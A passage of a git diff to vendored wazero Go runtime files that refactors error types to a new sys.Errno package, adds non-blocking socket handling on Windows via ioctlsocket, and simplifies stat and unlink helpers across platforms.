"github.com/tetratelabs/wazero/experimental/sys" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -21,6 +21,6 @@ type unsupportedSockFile struct { } // Accept implements the same method as documented on socketapi.TCPSock -func (f *unsupportedSockFile) Accept() (socketapi.TCPConn, syscall.Errno) { - return nil, syscall.ENOSYS +func (f *unsupportedSockFile) Accept() (socketapi.TCPConn, sys.Errno) { + return nil, sys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go index 9f3b46913a..ed275e6290 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go @@ -7,19 +7,26 @@ import ( "syscall" "unsafe" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) -// MSG_PEEK is the flag PEEK for syscall.Recvfrom on Windows. -// This constant is not exported on this platform. -const MSG_PEEK = 0x2 +const ( + // MSG_PEEK is the flag PEEK for syscall.Recvfrom on Windows. + // This constant is not exported on this platform. + MSG_PEEK = 0x2 + // _FIONBIO is the flag to set the O_NONBLOCK flag on socket handles using ioctlsocket. + _FIONBIO = 0x8004667e +) var ( // modws2_32 is WinSock. modws2_32 = syscall.NewLazyDLL("ws2_32.dll") // procrecvfrom exposes recvfrom from WinSock. procrecvfrom = modws2_32.NewProc("recvfrom") + // procioctlsocket exposes ioctlsocket from WinSock. + procioctlsocket = modws2_32.NewProc("ioctlsocket") ) // recvfrom exposes the underlying syscall in Windows. @@ -28,7 +35,7 @@ var ( // we do not need really need all the parameters that are actually // allowed in WinSock. // We ignore `from *sockaddr` and `fromlen *int`. -func recvfrom(s syscall.Handle, buf []byte, flags int32) (n int, errno syscall.Errno) { +func recvfrom(s syscall.Handle, buf []byte, flags int32) (n int, errno sys.Errno) { var _p0 *byte if len(buf) > 0 { _p0 = &buf[0] @@ -41,7 +48,51 @@ func recvfrom(s syscall.Handle, buf []byte, flags int32) (n int, errno syscall.E uintptr(flags), 0, // from *sockaddr (optional) 0) // fromlen *int (optional) - return int(r0), e1 + return int(r0), sys.UnwrapOSError(e1) +} + +func setNonblockSocket(fd syscall.Handle, enabled bool) sys.Errno { + opt := uint64(0) + if enabled { + opt = 1 + } + // ioctlsocket(fd, FIONBIO, &opt) + _, _, errno := syscall.SyscallN( + procioctlsocket.Addr(), + uintptr(fd), + uintptr(_FIONBIO), + uintptr(unsafe.Pointer(&opt))) + return sys.UnwrapOSError(errno) +} + +// syscallConnControl extracts a syscall.RawConn from the given syscall.Conn and applies +// the given fn to a file descriptor, returning an integer or a nonzero syscall.Errno on failure. +// +// syscallConnControl streamlines the pattern of extracting the syscall.Rawconn, +// invoking its syscall.RawConn.Control method, then handling properly the errors that may occur +// within fn or returned by syscall.RawConn.Control itself. +func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) (n int, errno sys.Errno) { + syscallConn, err := conn.SyscallConn() + if err != nil { + return 0, sys.UnwrapOSError(err) + } + // Prioritize the inner errno over Control + if controlErr := syscallConn.Control(func(fd uintptr) { + n, errno = fn(fd) + }); errno == 0 { + errno = sys.UnwrapOSError(controlErr) + } + return +} + +func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) { + return _poll([]pollFd{newPollFd(fd, _POLLIN, 0)}, timeoutMillis) + }) + return n > 0, errno } // newTCPListenerFile is a constructor for a socketapi.TCPSock. @@ -61,26 +112,36 @@ var _ socketapi.TCPSock = (*winTcpListenerFile)(nil) type winTcpListenerFile struct { baseSockFile - tl *net.TCPListener + tl *net.TCPListener + closed bool + nonblock bool } // Accept implements the same method as documented on socketapi.TCPSock -func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, syscall.Errno) { - conn, err := f.tl.Accept() - if err != nil { - return nil, platform.UnwrapOSError(err) +func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { + // Ensure we have an incoming connection using winsock_select, otherwise return immediately. + if f.nonblock { + if ready, errno := _pollSock(f.tl, fsapi.POLLIN, 0); !ready || errno != 0 { + return nil, sys.EAGAIN + } } - return &winTcpConnFile{tc: conn.(*net.TCPConn)}, 0 -} -// SetNonblock implements the same method as documented on fsapi.File -func (f *winTcpListenerFile) SetNonblock(enabled bool) syscall.Errno { - return 0 // setNonblock() is a no-op on Windows + // Accept normally blocks goroutines, but we + // made sure that we have an incoming connection, + // so we should be safe. + if conn, err := f.tl.Accept(); err != nil { + return nil, sys.UnwrapOSError(err) + } else { + return newTcpConn(conn.(*net.TCPConn)), 0 + } } -// Close implements the same method as documented on fsapi.File -func (f *winTcpListenerFile) Close() syscall.Errno { - return platform.UnwrapOSError(f.tl.Close()) +// Close implements the same method as documented on sys.File +func (f *winTcpListenerFile) Close() sys.Errno { + if !f.closed { + return sys.UnwrapOSError(f.tl.Close()) + } + return 0 } // Addr is exposed for testing. @@ -88,14 +149,39 @@ func (f *winTcpListenerFile) Addr() *net.TCPAddr { return f.tl.Addr().(*net.TCPAddr) } +// IsNonblock implements the same method as documented on fsapi.File +func (f *winTcpListenerFile) IsNonblock() bool { + return f.nonblock +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *winTcpListenerFile) SetNonblock(enabled bool) sys.Errno { + f.nonblock = enabled + _, errno := syscallConnControl(f.tl, func(fd uintptr) (int, sys.Errno) { + return 0, setNonblockSocket(syscall.Handle(fd), enabled) + }) + return errno +} + +// Poll implements the same method as documented on fsapi.File +func (f *winTcpListenerFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} + var _ socketapi.TCPConn = (*winTcpConnFile)(nil) +// winTcpConnFile is a blocking connection. +// +// It is a wrapper for an underlying net.TCPConn. type winTcpConnFile struct { baseSockFile tc *net.TCPConn - // closed is true when closed was called. This ensures proper syscall.EBADF + // nonblock is true when the underlying connection is flagged as non-blocking. + // This ensures that reads and writes return sys.EAGAIN without blocking the caller. + nonblock bool + // closed is true when closed was called. This ensures proper sys.EBADF closed bool } @@ -103,34 +189,35 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &winTcpConnFile{tc: tc} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *winTcpConnFile) SetNonblock(enabled bool) (errno syscall.Errno) { - syscallConn, err := f.tc.SyscallConn() - if err != nil { - return platform.UnwrapOSError(err) +// Read implements the same method as documented on sys.File +func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { + if len(buf) == 0 { + return 0, 0 // Short-circuit 0-len reads. } - - // Prioritize the error from setNonblock over Control - if controlErr := syscallConn.Control(func(fd uintptr) { - errno = platform.UnwrapOSError(setNonblock(fd, enabled)) - }); errno == 0 { - errno = platform.UnwrapOSError(controlErr) + if nonBlockingFileReadSupported && f.IsNonblock() { + n, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return readSocket(syscall.Handle(fd), buf) + }) + } else { + n, errno = read(f.tc, buf) } - return -} - -// Read implements the same method as documented on fsapi.File -func (f *winTcpConnFile) Read(buf []byte) (n int, errno syscall.Errno) { - if n, errno = read(f.tc, buf); errno != 0 { + if errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } return } -// Write implements the same method as documented on fsapi.File -func (f *winTcpConnFile) Write(buf []byte) (n int, errno syscall.Errno) { - if n, errno = write(f.tc, buf); errno != 0 { +// Write implements the same method as documented on sys.File +func (f *winTcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { + if nonBlockingFileWriteSupported && f.IsNonblock() { + return syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return writeSocket(fd, buf) + }) + } else { + n, errno = write(f.tc, buf) + } + if errno != 0 { // Defer validation overhead until we've already had an error. errno = fileError(f, f.closed, errno) } @@ -138,31 +225,18 @@ func (f *winTcpConnFile) Write(buf []byte) (n int, errno syscall.Errno) { } // Recvfrom implements the same method as documented on socketapi.TCPConn -func (f *winTcpConnFile) Recvfrom(p []byte, flags int) (n int, errno syscall.Errno) { +func (f *winTcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) { if flags != MSG_PEEK { - errno = syscall.EINVAL - return - } - conn := f.tc - syscallConn, err := conn.SyscallConn() - if err != nil { - errno = platform.UnwrapOSError(err) + errno = sys.EINVAL return } - - // Prioritize the error from recvfrom over Control - if controlErr := syscallConn.Control(func(fd uintptr) { - var recvfromErr error - n, recvfromErr = recvfrom(syscall.Handle(fd), p, MSG_PEEK) - errno = platform.UnwrapOSError(recvfromErr) - }); errno == 0 { - errno = platform.UnwrapOSError(controlErr) - } - return + return syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return recvfrom(syscall.Handle(fd), p, MSG_PEEK) + }) } -// Shutdown implements the same method as documented on fsapi.Conn -func (f *winTcpConnFile) Shutdown(how int) syscall.Errno { +// Shutdown implements the same method as documented on sys.Conn +func (f *winTcpConnFile) Shutdown(how int) sys.Errno { // FIXME: can userland shutdown listeners? var err error switch how { @@ -173,20 +247,39 @@ func (f *winTcpConnFile) Shutdown(how int) syscall.Errno { case syscall.SHUT_RDWR: return f.close() default: - return syscall.EINVAL + return sys.EINVAL } - return platform.UnwrapOSError(err) + return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File -func (f *winTcpConnFile) Close() syscall.Errno { +// Close implements the same method as documented on sys.File +func (f *winTcpConnFile) Close() sys.Errno { return f.close() } -func (f *winTcpConnFile) close() syscall.Errno { +func (f *winTcpConnFile) close() sys.Errno { if f.closed { return 0 } f.closed = true return f.Shutdown(syscall.SHUT_RDWR) } + +// IsNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = true + _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) + }) + return +} + +// Poll implements the same method as documented on fsapi.File +func (f *winTcpConnFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat.go index 60690fd90b..2d973b16cb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat.go @@ -2,31 +2,15 @@ package sysfs import ( "io/fs" - "os" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" ) -func defaultStatFile(f *os.File) (fsapi.Stat_t, syscall.Errno) { - if t, err := f.Stat(); err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) +func defaultStatFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { + if info, err := f.Stat(); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return statFromFileInfo(t), 0 + return sys.NewStat_t(info), 0 } } - -func StatFromDefaultFileInfo(t fs.FileInfo) fsapi.Stat_t { - st := fsapi.Stat_t{} - st.Ino = 0 - st.Dev = 0 - st.Mode = t.Mode() - st.Nlink = 1 - st.Size = t.Size() - mtim := t.ModTime().UnixNano() // Set all times to the mod time - st.Atim = mtim - st.Mtim = mtim - st.Ctim = mtim - return st -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go index 8297e8502a..254e204cd9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go @@ -5,56 +5,33 @@ package sysfs import ( "io/fs" "os" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" ) -func lstat(path string) (fsapi.Stat_t, syscall.Errno) { - if t, err := os.Lstat(path); err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) +// dirNlinkIncludesDot is true because even though os.File filters out dot +// entries, the underlying syscall.Stat includes them. +// +// Note: this is only used in tests +const dirNlinkIncludesDot = true + +func lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + if info, err := os.Lstat(path); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return statFromFileInfo(t), 0 + return sys.NewStat_t(info), 0 } } -func stat(path string) (fsapi.Stat_t, syscall.Errno) { - if t, err := os.Stat(path); err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) +func stat(path string) (sys.Stat_t, experimentalsys.Errno) { + if info, err := os.Stat(path); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return statFromFileInfo(t), 0 + return sys.NewStat_t(info), 0 } } -func statFile(f *os.File) (fsapi.Stat_t, syscall.Errno) { +func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, t fs.FileInfo) (ino uint64, err syscall.Errno) { - if d, ok := t.Sys().(*syscall.Stat_t); ok { - ino = d.Ino - } - return -} - -func statFromFileInfo(t fs.FileInfo) fsapi.Stat_t { - if d, ok := t.Sys().(*syscall.Stat_t); ok { - st := fsapi.Stat_t{} - st.Dev = uint64(d.Dev) - st.Ino = d.Ino - st.Uid = d.Uid - st.Gid = d.Gid - st.Mode = t.Mode() - st.Nlink = uint64(d.Nlink) - st.Size = d.Size - atime := d.Atimespec - st.Atim = atime.Sec*1e9 + atime.Nsec - mtime := d.Mtimespec - st.Mtim = mtime.Sec*1e9 + mtime.Nsec - ctime := d.Ctimespec - st.Ctim = ctime.Sec*1e9 + ctime.Nsec - return st - } - return StatFromDefaultFileInfo(t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go index e90f29b513..fd289756de 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go @@ -8,56 +8,33 @@ package sysfs import ( "io/fs" "os" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" ) -func lstat(path string) (fsapi.Stat_t, syscall.Errno) { - if t, err := os.Lstat(path); err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) +// dirNlinkIncludesDot is true because even though os.File filters out dot +// entries, the underlying syscall.Stat includes them. +// +// Note: this is only used in tests +const dirNlinkIncludesDot = true + +func lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + if info, err := os.Lstat(path); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return statFromFileInfo(t), 0 + return sys.NewStat_t(info), 0 } } -func stat(path string) (fsapi.Stat_t, syscall.Errno) { - if t, err := os.Stat(path); err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) +func stat(path string) (sys.Stat_t, experimentalsys.Errno) { + if info, err := os.Stat(path); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return statFromFileInfo(t), 0 + return sys.NewStat_t(info), 0 } } -func statFile(f *os.File) (fsapi.Stat_t, syscall.Errno) { +func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, t fs.FileInfo) (ino uint64, err syscall.Errno) { - if d, ok := t.Sys().(*syscall.Stat_t); ok { - ino = d.Ino - } - return -} - -func statFromFileInfo(t fs.FileInfo) fsapi.Stat_t { - if d, ok := t.Sys().(*syscall.Stat_t); ok { - st := fsapi.Stat_t{} - st.Dev = uint64(d.Dev) - st.Ino = uint64(d.Ino) - st.Uid = d.Uid - st.Gid = d.Gid - st.Mode = t.Mode() - st.Nlink = uint64(d.Nlink) - st.Size = d.Size - atime := d.Atim - st.Atim = atime.Sec*1e9 + atime.Nsec - mtime := d.Mtim - st.Mtim = mtime.Sec*1e9 + mtime.Nsec - ctime := d.Ctim - st.Ctim = ctime.Sec*1e9 + ctime.Nsec - return st - } - return StatFromDefaultFileInfo(t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go index 4c2b70550e..4b05a89772 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go @@ -5,38 +5,36 @@ package sysfs import ( "io/fs" "os" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" ) -func lstat(path string) (fsapi.Stat_t, syscall.Errno) { - t, err := os.Lstat(path) - if errno := platform.UnwrapOSError(err); errno == 0 { - return statFromFileInfo(t), 0 +// Note: go:build constraints must be the same as /sys.stat_unsupported.go for +// the same reasons. + +// dirNlinkIncludesDot might be true for some operating systems, which can have +// new stat_XX.go files as necessary. +// +// Note: this is only used in tests +const dirNlinkIncludesDot = false + +func lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + if info, err := os.Lstat(path); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return fsapi.Stat_t{}, errno + return sys.NewStat_t(info), 0 } } -func stat(path string) (fsapi.Stat_t, syscall.Errno) { - t, err := os.Stat(path) - if errno := platform.UnwrapOSError(err); errno == 0 { - return statFromFileInfo(t), 0 +func stat(path string) (sys.Stat_t, experimentalsys.Errno) { + if info, err := os.Stat(path); err != nil { + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } else { - return fsapi.Stat_t{}, errno + return sys.NewStat_t(info), 0 } } -func statFile(f *os.File) (fsapi.Stat_t, syscall.Errno) { +func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, t fs.FileInfo) (ino uint64, err syscall.Errno) { - return -} - -func statFromFileInfo(t fs.FileInfo) fsapi.Stat_t { - return StatFromDefaultFileInfo(t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go index 4b05727e15..4456dd7828 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go @@ -4,15 +4,18 @@ package sysfs import ( "io/fs" - "os" - "path" "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" ) -func lstat(path string) (fsapi.Stat_t, syscall.Errno) { +// dirNlinkIncludesDot is false because Windows does not return dot entries. +// +// Note: this is only used in tests +const dirNlinkIncludesDot = false + +func lstat(path string) (sys.Stat_t, experimentalsys.Errno) { attrs := uint32(syscall.FILE_FLAG_BACKUP_SEMANTICS) // Use FILE_FLAG_OPEN_REPARSE_POINT, otherwise CreateFile will follow symlink. // See https://docs.microsoft.com/en-us/windows/desktop/FileIO/symbolic-link-effects-on-file-systems-functions#createfile-and-createfiletransacted @@ -20,93 +23,68 @@ func lstat(path string) (fsapi.Stat_t, syscall.Errno) { return statPath(attrs, path) } -func stat(path string) (fsapi.Stat_t, syscall.Errno) { +func stat(path string) (sys.Stat_t, experimentalsys.Errno) { attrs := uint32(syscall.FILE_FLAG_BACKUP_SEMANTICS) return statPath(attrs, path) } -func statPath(createFileAttrs uint32, path string) (fsapi.Stat_t, syscall.Errno) { +func statPath(createFileAttrs uint32, path string) (sys.Stat_t, experimentalsys.Errno) { if len(path) == 0 { - return fsapi.Stat_t{}, syscall.ENOENT + return sys.Stat_t{}, experimentalsys.ENOENT } pathp, err := syscall.UTF16PtrFromString(path) if err != nil { - return fsapi.Stat_t{}, syscall.EINVAL + return sys.Stat_t{}, experimentalsys.EINVAL } // open the file handle h, err := syscall.CreateFile(pathp, 0, 0, nil, syscall.OPEN_EXISTING, createFileAttrs, 0) if err != nil { + errno := experimentalsys.UnwrapOSError(err) // To match expectations of WASI, e.g. TinyGo TestStatBadDir, return // ENOENT, not ENOTDIR. - if err == syscall.ENOTDIR { - err = syscall.ENOENT + if errno == experimentalsys.ENOTDIR { + errno = experimentalsys.ENOENT } - return fsapi.Stat_t{}, platform.UnwrapOSError(err) + return sys.Stat_t{}, errno } defer syscall.CloseHandle(h) return statHandle(h) } -func statFile(f *os.File) (fsapi.Stat_t, syscall.Errno) { - // Attempt to get the stat by handle, which works for normal files - st, err := statHandle(syscall.Handle(f.Fd())) - - // ERROR_INVALID_HANDLE happens before Go 1.20. Don't fail as we only - // use that approach to fill in inode data, which is not critical. - // - // Note: statHandle uses UnwrapOSError which coerces - // ERROR_INVALID_HANDLE to EBADF. - if err != syscall.EBADF { - return st, err - } - return defaultStatFile(f) -} - -// inoFromFileInfo uses stat to get the inode information of the file. -func inoFromFileInfo(filePath string, t fs.FileInfo) (ino uint64, errno syscall.Errno) { - if filePath == "" { - // This is a fs.File backed implementation which doesn't have access to - // the original file path. - return - } - // ino is no not in Win32FileAttributeData - inoPath := path.Clean(path.Join(filePath, t.Name())) - var st fsapi.Stat_t - if st, errno = lstat(inoPath); errno == 0 { - ino = st.Ino - } - return +// fdFile allows masking the `Fd` function on os.File. +type fdFile interface { + Fd() uintptr } -func statFromFileInfo(t fs.FileInfo) fsapi.Stat_t { - if d, ok := t.Sys().(*syscall.Win32FileAttributeData); ok { - st := fsapi.Stat_t{} - st.Ino = 0 // not in Win32FileAttributeData - st.Dev = 0 // not in Win32FileAttributeData - st.Mode = t.Mode() - st.Nlink = 1 // not in Win32FileAttributeData - st.Size = t.Size() - st.Atim = d.LastAccessTime.Nanoseconds() - st.Mtim = d.LastWriteTime.Nanoseconds() - st.Ctim = d.CreationTime.Nanoseconds() - return st - } else { - return StatFromDefaultFileInfo(t) +func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { + if osF, ok := f.(fdFile); ok { + // Attempt to get the stat by handle, which works for normal files + st, err := statHandle(syscall.Handle(osF.Fd())) + + // ERROR_INVALID_HANDLE happens before Go 1.20. Don't fail as we only + // use that approach to fill in inode data, which is not critical. + // + // Note: statHandle uses UnwrapOSError which coerces + // ERROR_INVALID_HANDLE to EBADF. + if err != experimentalsys.EBADF { + return st, err + } } + return defaultStatFile(f) } -func statHandle(h syscall.Handle) (fsapi.Stat_t, syscall.Errno) { +func statHandle(h syscall.Handle) (sys.Stat_t, experimentalsys.Errno) { winFt, err := syscall.GetFileType(h) if err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } var fi syscall.ByHandleFileInformation if err = syscall.GetFileInformationByHandle(h, &fi); err != nil { - return fsapi.Stat_t{}, platform.UnwrapOSError(err) + return sys.Stat_t{}, experimentalsys.UnwrapOSError(err) } var m fs.FileMode @@ -127,7 +105,7 @@ func statHandle(h syscall.Handle) (fsapi.Stat_t, syscall.Errno) { m |= fs.ModeDir | 0o111 // e.g. 0o444 -> 0o555 } - st := fsapi.Stat_t{} + st := sys.Stat_t{} // FileIndex{High,Low} can be combined and used as a unique identifier like inode. // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/ns-fileapi-by_handle_file_information st.Dev = uint64(fi.VolumeSerialNumber) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync.go index ba336c8d5d..86f9a0865d 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync.go @@ -4,11 +4,10 @@ package sysfs import ( "os" - "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func fsync(f *os.File) syscall.Errno { - return platform.UnwrapOSError(f.Sync()) +func fsync(f *os.File) sys.Errno { + return sys.UnwrapOSError(f.Sync()) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync_windows.go index e83dc3044a..0f05ba7764 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sync_windows.go @@ -2,17 +2,16 @@ package sysfs import ( "os" - "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func fsync(f *os.File) syscall.Errno { - errno := platform.UnwrapOSError(f.Sync()) +func fsync(f *os.File) sys.Errno { + errno := sys.UnwrapOSError(f.Sync()) // Coerce error performing stat on a directory to 0, as it won't work // on Windows. switch errno { - case syscall.EACCES /* Go 1.20 */, syscall.EBADF /* Go 1.18 */ : + case sys.EACCES /* Go 1.20 */, sys.EBADF /* Go 1.18 */ : if st, err := f.Stat(); err == nil && st.IsDir() { errno = 0 } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go index 37b74e182f..4f7dbe3fe7 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go @@ -1,17 +1,17 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func Unlink(name string) (errno syscall.Errno) { +func unlink(name string) (errno sys.Errno) { err := syscall.Unlink(name) - if errno = platform.UnwrapOSError(err); errno == syscall.EPERM { - errno = syscall.EISDIR + if errno = sys.UnwrapOSError(err); errno == sys.EPERM { + errno = sys.EISDIR } return errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go new file mode 100644 index 0000000000..16ed06ab2a --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go @@ -0,0 +1,12 @@ +package sysfs + +import ( + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func unlink(name string) sys.Errno { + err := syscall.Remove(name) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go index 410ea8444b..be31c7b911 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go @@ -1,26 +1,24 @@ -//go:build windows - package sysfs import ( "os" "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func Unlink(name string) syscall.Errno { +func unlink(name string) sys.Errno { err := syscall.Unlink(name) if err == nil { return 0 } - errno := platform.UnwrapOSError(err) - if errno == syscall.EBADF { + errno := sys.UnwrapOSError(err) + if errno == sys.EBADF { lstat, errLstat := os.Lstat(name) if errLstat == nil && lstat.Mode()&os.ModeSymlink != 0 { - errno = platform.UnwrapOSError(os.Remove(name)) + errno = sys.UnwrapOSError(os.Remove(name)) } else { - errno = syscall.EISDIR + errno = sys.EISDIR } } return errno diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasip1/errno.go b/vendor/github.com/tetratelabs/wazero/internal/wasip1/errno.go index b4ec34eb76..b4af415083 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasip1/errno.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasip1/errno.go @@ -2,7 +2,8 @@ package wasip1 import ( "fmt" - "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" ) // Errno is neither uint16 nor an alias for parity with wasm.ValueType. @@ -263,47 +264,47 @@ var errnoToString = [...]string{ // Note: Coercion isn't centralized in sys.FSContext because ABI use different // error codes. For example, wasi-filesystem and GOOS=js don't map to these // Errno. -func ToErrno(errno syscall.Errno) Errno { +func ToErrno(errno sys.Errno) Errno { switch errno { case 0: return ErrnoSuccess - case syscall.EACCES: + case sys.EACCES: return ErrnoAcces - case syscall.EAGAIN: + case sys.EAGAIN: return ErrnoAgain - case syscall.EBADF: + case sys.EBADF: return ErrnoBadf - case syscall.EEXIST: + case sys.EEXIST: return ErrnoExist - case syscall.EFAULT: + case sys.EFAULT: return ErrnoFault - case syscall.EINTR: + case sys.EINTR: return ErrnoIntr - case syscall.EINVAL: + case sys.EINVAL: return ErrnoInval - case syscall.EIO: + case sys.EIO: return ErrnoIo - case syscall.EISDIR: + case sys.EISDIR: return ErrnoIsdir - case syscall.ELOOP: + case sys.ELOOP: return ErrnoLoop - case 